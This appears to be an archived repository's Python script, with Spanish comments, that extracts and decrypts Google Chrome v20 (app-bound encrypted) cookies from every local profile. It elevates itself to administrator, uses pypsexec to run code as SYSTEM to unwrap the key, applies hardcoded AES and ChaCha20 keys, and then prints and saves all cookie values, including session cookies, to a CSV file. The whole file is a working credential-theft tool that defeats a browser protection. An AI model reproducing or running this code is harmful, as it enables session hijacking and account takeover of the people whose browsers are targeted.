This repository has been archived on 2025-11-27. You can view files and clone it. You cannot open issues or pull requests or push a commit.
Files

180 lines
6.4 KiB
Python

import os
import sys
import json
import binascii
import ctypes
import base64
import sqlite3
import pandas as pd
import pathlib
from Crypto.Cipher import AES, ChaCha20_Poly1305
from pypsexec.client import Client
"""
Este script extrae cookies v20 de Google Chrome y las guarda en un archivo CSV.
Requiere privilegios de administrador para acceder a los datos de Chrome.
Conseguido para poder extraer cookies de Chrome v20, que utiliza un nuevo formato de cifrado.
"""
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
def get_app_bound_key(local_state_path):
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
return local_state["os_crypt"]["app_bound_encrypted_key"]
def decrypt_app_bound_key(encrypted_key_b64):
arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""
c = Client("localhost")
c.connect()
decrypted_key = None
try:
c.create_service()
assert(binascii.a2b_base64(encrypted_key_b64)[:4] == b"APPB")
stripped_key_b64 = binascii.b2a_base64(binascii.a2b_base64(encrypted_key_b64)[4:]).decode().strip()
encrypted_key_b64_sys, _, _ = c.run_executable(
sys.executable,
arguments=arguments.format(stripped_key_b64),
use_system_account=True
)
decrypted_key_b64, _, _ = c.run_executable(
sys.executable,
arguments=arguments.format(encrypted_key_b64_sys.decode().strip()),
use_system_account=False
)
decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
finally:
c.remove_service()
c.disconnect()
return decrypted_key
def decrypt_final_key(encrypted_key):
aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")
chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")
flag = encrypted_key[0]
iv = encrypted_key[1:13]
ciphertext = encrypted_key[13:45]
tag = encrypted_key[45:]
if flag == 1:
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
elif flag == 2:
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)
else:
raise ValueError(f"Unsupported flag: {flag}")
return cipher.decrypt_and_verify(ciphertext, tag)
def decrypt_cookie_v20(encrypted_value, key):
cookie_iv = encrypted_value[3:15]
encrypted_cookie = encrypted_value[15:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')
def extract_all_v20_cookies():
user_profile = os.environ['USERPROFILE']
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
base_profile_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data"
app_bound_key_b64 = get_app_bound_key(local_state_path)
decrypted_key_raw = decrypt_app_bound_key(app_bound_key_b64)
final_key = decrypt_final_key(decrypted_key_raw)
perfiles_invalidos = {"System Profile", "Guest Profile", "CrashpadMetrics"}
perfiles = [
name for name in os.listdir(base_profile_path)
if os.path.isdir(os.path.join(base_profile_path, name))
and name not in perfiles_invalidos
and os.path.exists(os.path.join(base_profile_path, name, "Network", "Cookies"))
]
all_cookies = []
for profile in perfiles:
db_path = os.path.join(base_profile_path, profile, "Network", "Cookies")
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, last_access_utc, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
con.close()
for row in cookies:
host, name, path, is_secure, is_httponly, expires_utc, last_access_utc, encrypted_value = row
encrypted_value_b64 = base64.b64encode(encrypted_value).decode()
if encrypted_value.startswith(b"v20"):
try:
value = decrypt_cookie_v20(encrypted_value, final_key)
print(f"[✓] {host} {name}: {value}")
all_cookies.append({
"host": host,
"name": name,
"path": path,
"value": value,
"encrypted_value_b64": encrypted_value_b64,
"expires_utc": expires_utc,
"is_secure": is_secure,
"is_httponly": is_httponly,
"last_access_utc": last_access_utc,
"profile": profile,
"is_decrypted": True,
"decrypt_error": ""
})
except Exception as e:
print(f"[x] Error decrypting {host} {name}: {e}")
all_cookies.append({
"host": host,
"name": name,
"path": path,
"value": "",
"encrypted_value_b64": encrypted_value_b64,
"expires_utc": expires_utc,
"is_secure": is_secure,
"is_httponly": is_httponly,
"last_access_utc": last_access_utc,
"profile": profile,
"is_decrypted": False,
"decrypt_error": str(e)
})
return pd.DataFrame(all_cookies)
if __name__ == "__main__":
if not is_admin():
input("Este script necesita ejecutarse como administrador. Presiona Enter para reiniciar con privilegios...")
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join([sys.argv[0]] + sys.argv[1:]), None, 1)
sys.exit()
print("[*] Extrayendo cookies v20 desde todos los perfiles...")
df = extract_all_v20_cookies()
df.to_csv("cookies_extraidas.csv", index=False, encoding="utf-8")
print(f"[✓] Cookies v20 extraídas: {len(df)}")
print("[✓] Guardado en 'cookies_extraidas.csv'")